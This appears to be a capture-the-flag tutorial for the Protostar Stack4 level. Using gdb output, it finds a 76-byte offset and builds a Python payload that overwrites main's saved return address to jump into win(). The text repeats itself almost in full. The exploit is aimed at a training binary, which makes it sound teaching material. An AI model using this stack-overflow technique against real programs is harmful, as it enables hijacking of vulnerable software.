Protostar 0x04 - Stack4
Prev: 0x03 - Stack3
Next: 0x05 - Stack5
For this level, we need to overwrite eip to redirect program flow to the "win" function, although this time we don't have a handy function to do that for us. Instead, we'll need to overwrite a saved return address so that when "main" hits its "ret" instruction, it pops our value into eip instead of whatever was there previously.
The level instructions also warn us that "eip is not directly after the end of [the] buffer, compilar padding can also increase the size." So, we'll first need to locate the value of the esp register during main's "ret" instruction.
Let's start gdb and set a breakpoint for "leave," so we can inspect esp before the stack frame is destroyed, and a breakpoint for "ret," so we can see where esp is pointing during the return instruction.
$ gdb stack4
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /tmp/stack4...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>: push %ebp
0x08048409 <main+1>: mov %esp,%ebp
0x0804840b <main+3>: and $0xfffffff0,%esp
0x0804840e <main+6>: sub $0x50,%esp
0x08048411 <main+9>: lea 0x10(%esp),%eax
0x08048415 <main+13>: mov %eax,(%esp)
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.
(gdb) break *main+21
Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
(gdb) break *main+22
Breakpoint 2 at 0x804841e: file stack4/stack4.c, line 16.
If we run the program in gdb now with "run" or simply "r" with a dummy input directed into it, we will hit our first breakpoint. According to the main+9 instruction, "esp+0x10" should be the address of our string. Let's confirm by using "x" to examine that address.
(gdb) r
Starting program: /tmp/stack4
AAAAAAAA
Breakpoint 1, main (argc=1, argv=0xbffffd84) at stack4/stack4.c:16
16 stack4/stack4.c: No such file or directory.
in stack4/stack4.c
(gdb) x/4x $esp+0x10
0xbffffc90: 0x41414141 0x41414141 0xbffffc00 0x080482e8
It looks like we're correct - our input is placed at stack address 0xbffffc90. Now, let's continue to our second breakpoint, and use "info registers," or simply "info reg," to see what stack address esp is pointing to, which will contain our return address.
(gdb) c
Continuing.
Breakpoint 2, 0x0804841e in main (argc=134513672, argv=0x1) at stack4/stack4.c:16
16 in stack4/stack4.c
(gdb) info reg
eax 0xbffffc90 -1073742704
ecx 0xbffffc90 -1073742704
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffcdc 0xbffffcdc
...
So, the return address is located at 0xbffffcdc, and the address of our input buffer (which can also be found in the eax register above) is 0xbffffc90. If we subtract the two, we can see that they are 0x4c bytes apart, or 76 bytes. Thus, we'll need to provide 76 bytes of dummy input prior to overwriting the saved eip. What should we overwrite it with?
We can simply enter "disas win" to get the function's code section address:
(gdb) disas win
Dump of assembler code for function win:
0x080483f4 <win+0>: push %ebp
0x080483f5 <win+1>: mov %esp,%ebp
0x080483f7 <win+3>: sub $0x18,%esp
0x080483fa <win+6>: movl $0x80484e0,(%esp)
0x08048401 <win+13>: call 0x804832c <puts@plt>
0x08048406 <win+18>: leave
0x08048407 <win+19>: ret
End of assembler dump.
Great - it starts at 0x080483f4. Let's exit gdb with "quit" and assemble our Python script:
import struct
buffer = "A" * 76
win = struct.pack("<I", 0x080483f4)
payload = buffer + win
print payload
Now, we can pipe it into the stack4 program and see if it works:
$ (python stack4.py) | ./stack4
code flow successfully changed
Segmentation fault
Success! We redirected program flow to the "win" function, made the program execute it, and then naturally received a segfault afterwards as a result of overwriting the original return address.
Prev: 0x03 Stack3
Next: 0x04 Stack4
Next: 0x05 - Stack5
For this level, we need to overwrite eip to redirect program flow to the "win" function, although this time we don't have a handy function to do that for us. Instead, we'll need to overwrite a saved return address so that when "main" hits its "ret" instruction, it pops our value into eip instead of whatever was there previously.
The level instructions also warn us that "eip is not directly after the end of [the] buffer, compilar padding can also increase the size." So, we'll first need to locate the value of the esp register during main's "ret" instruction.
Let's start gdb and set a breakpoint for "leave," so we can inspect esp before the stack frame is destroyed, and a breakpoint for "ret," so we can see where esp is pointing during the return instruction.
$ gdb stack4
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /tmp/stack4...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>: push %ebp
0x08048409 <main+1>: mov %esp,%ebp
0x0804840b <main+3>: and $0xfffffff0,%esp
0x0804840e <main+6>: sub $0x50,%esp
0x08048411 <main+9>: lea 0x10(%esp),%eax
0x08048415 <main+13>: mov %eax,(%esp)
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.
(gdb) break *main+21
Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
(gdb) break *main+22
Breakpoint 2 at 0x804841e: file stack4/stack4.c, line 16.
If we run the program in gdb now with "run" or simply "r" with a dummy input directed into it, we will hit our first breakpoint. According to the main+9 instruction, "esp+0x10" should be the address of our string. Let's confirm by using "x" to examine that address.
(gdb) r
Starting program: /tmp/stack4
AAAAAAAA
Breakpoint 1, main (argc=1, argv=0xbffffd84) at stack4/stack4.c:16
16 stack4/stack4.c: No such file or directory.
in stack4/stack4.c
(gdb) x/4x $esp+0x10
0xbffffc90: 0x41414141 0x41414141 0xbffffc00 0x080482e8
It looks like we're correct - our input is placed at stack address 0xbffffc90. Now, let's continue to our second breakpoint, and use "info registers," or simply "info reg," to see what stack address esp is pointing to, which will contain our return address.
(gdb) c
Continuing.
Breakpoint 2, 0x0804841e in main (argc=134513672, argv=0x1) at stack4/stack4.c:16
16 in stack4/stack4.c
(gdb) info reg
eax 0xbffffc90 -1073742704
ecx 0xbffffc90 -1073742704
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffcdc 0xbffffcdc
...
So, the return address is located at 0xbffffcdc, and the address of our input buffer (which can also be found in the eax register above) is 0xbffffc90. If we subtract the two, we can see that they are 0x4c bytes apart, or 76 bytes. Thus, we'll need to provide 76 bytes of dummy input prior to overwriting the saved eip. What should we overwrite it with?
We can simply enter "disas win" to get the function's code section address:
(gdb) disas win
Dump of assembler code for function win:
0x080483f4 <win+0>: push %ebp
0x080483f5 <win+1>: mov %esp,%ebp
0x080483f7 <win+3>: sub $0x18,%esp
0x080483fa <win+6>: movl $0x80484e0,(%esp)
0x08048401 <win+13>: call 0x804832c <puts@plt>
0x08048406 <win+18>: leave
0x08048407 <win+19>: ret
End of assembler dump.
Great - it starts at 0x080483f4. Let's exit gdb with "quit" and assemble our Python script:
import struct
buffer = "A" * 76
win = struct.pack("<I", 0x080483f4)
payload = buffer + win
print payload
Now, we can pipe it into the stack4 program and see if it works:
$ (python stack4.py) | ./stack4
code flow successfully changed
Segmentation fault
Success! We redirected program flow to the "win" function, made the program execute it, and then naturally received a segfault afterwards as a result of overwriting the original return address.
Prev: 0x03 Stack3
Next: 0x04 Stack4